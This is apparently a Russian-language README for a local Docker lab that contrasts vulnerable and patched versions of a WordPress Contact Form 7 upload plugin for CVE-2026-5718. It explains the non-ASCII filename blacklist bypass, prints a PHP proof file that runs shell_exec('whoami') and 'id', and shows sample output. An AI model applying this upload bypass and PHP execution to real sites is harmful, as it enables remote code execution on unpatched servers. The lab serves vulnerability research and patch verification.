
Локальная Docker-лаборатория, демонстрирующая уязвимую и пропатченную версии для CVE-2026-5718, затрагивающей плагин WordPress Drag and Drop Multiple File Upload for Contact Form 7.
Эта лаборатория демонстрирует разницу между уязвимой версией 1.3.9.6 и пропатченной версией 1.3.9.7 с помощью безвредного PHP-доказательства выполнения кода в среде, ограниченной только Docker.
Ограничение: только localhost / сеть Docker. Не используйте этот PoC против систем, которые вам не принадлежат или для тестирования которых у вас нет явного разрешения.
CVE-2026-5718 — это уязвимость произвольной загрузки файлов в плагине Drag and Drop Multiple File Upload for Contact Form 7 до версии 1.3.9.6 включительно.
Проблема срабатывает, когда настроены пользовательские типы чёрного списка, а имя файла содержит не-ASCII символы. В уязвимой версии опасная загрузка файла .php может обойти предусмотренную защиту и остаться исполняемой. Версия 1.3.9.7 исправляет проблему, отклоняя такую же загрузку.
В этом репозитории запускаются два локальных сервиса WordPress:
vuln — на http://localhost:8081 с версией плагина 1.3.9.6patched — на http://localhost:8082 с версией плагина 1.3.9.7Хост
├── http://localhost:8081 -> уязвимый сервис WordPress
└── http://localhost:8082 -> пропатченный сервис WordPress
Сеть Docker
├── vuln
├── vuln-db
├── patched
└── patched-db
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Предварительно настроенная форма Contact Form 7 содержит поле Drag and Drop Multiple File Upload:
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
PoC загружает PHP-файл доказательства с именем:
proof-β.php
Символ β не входит в ASCII. Это важно, поскольку уязвимость зависит от обработки имён файлов с не-ASCII вводом.
Общая схема работы:
PoC
↓
Получаем страницу лаборатории и извлекаем AJAX nonce DnD CF7
↓
Загружаем proof-β.php через wp-admin/admin-ajax.php
↓
Уязвимая версия 1.3.9.6 принимает и сохраняет файл как .php
↓
PoC запрашивает загруженный файл
↓
Уязвимая лаборатория выполняет PHP-доказательство от имени www-data
Схема работы пропатченной версии:
PoC
↓
Загружаем тот же файл proof-β.php
↓
Пропатченная версия 1.3.9.7 отклоняет загрузку
↓
PHP-файл не сохраняется, и выполнения кода не происходит
Загружаемое PHP-доказательство намеренно минимально:
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
Доказательство выполняет только whoami и id, чтобы показать контекст выполнения. В нём не используются reverse shell, персистентность, доступ к учётным данным, перемещение по сети, сканирование сети или деструктивные действия.
Уязвимый сервис намеренно разрешает выполнение PHP в каталоге загрузок плагина, чтобы воздействие можно было наблюдать в этой локальной лаборатории. Пропатченный сервис сохраняет более безопасное поведение и отклоняет загрузку на уровне валидации приложения.
Установка зависимостей Python:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
Запуск с чистого состояния:
docker compose down -v
docker compose up --build -d
Проверка статуса сервисов:
docker compose ps
Откройте страницы лаборатории:
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
Запуск против уязвимого сервиса:
python poc/poc.py --base-url http://localhost:8081
Запуск против пропатченного сервиса:
python poc/poc.py --base-url http://localhost:8082
PoC принимает только цели localhost или loopback.
Ожидаемое поведение:
.php.Пример вывода:
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
Ожидаемое поведение:
Пример вывода:
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
Эта лаборатория намеренно ограничена локальным тестированием.
PoC:
whoami и id внутри уязвимого контейнера.Уязвимый сервис ослабляет ограничения на выполнение PHP в каталоге загрузок только для того, чтобы локальное доказательство было наблюдаемым. Не переносите эту конфигурацию в продакшен.
Остановка контейнеров:
docker compose down
Удаление контейнеров и томов:
docker compose down -v
Удаление виртуального окружения Python:
rm -rf .venv
NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
Уведомление Patchstack: плагин WordPress Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 — неаутентифицированная произвольная загрузка файлов через обход чёрного списка с помощью не-ASCII имени файла https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability
Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 — неаутентифицированная произвольная загрузка файлов через обход чёрного списка с помощью не-ASCII имени файла https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass
База данных уведомлений GitHub: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w
Страница плагина на WordPress.org: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
Страница поставщика плагина: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/
Этот репозиторий предназначен только для образовательных целей и исследований в области защитной безопасности. Он разработан для запуска только на localhost с использованием Docker. Не используйте PoC против публичных или сторонних систем.
| Service | Назначение | Порт хоста | Версия |
|---|
vuln | Уязвимая WordPress-лаборатория | 8081 | Плагин 1.3.9.6 |
patched | Пропатченная WordPress-лаборатория | 8082 | Плагин 1.3.9.7 |
vuln-db | База MySQL для уязвимого сервиса | внутренний | MySQL 8.0 |
patched-db | База MySQL для пропатченного сервиса | внутренний | MySQL 8.0 |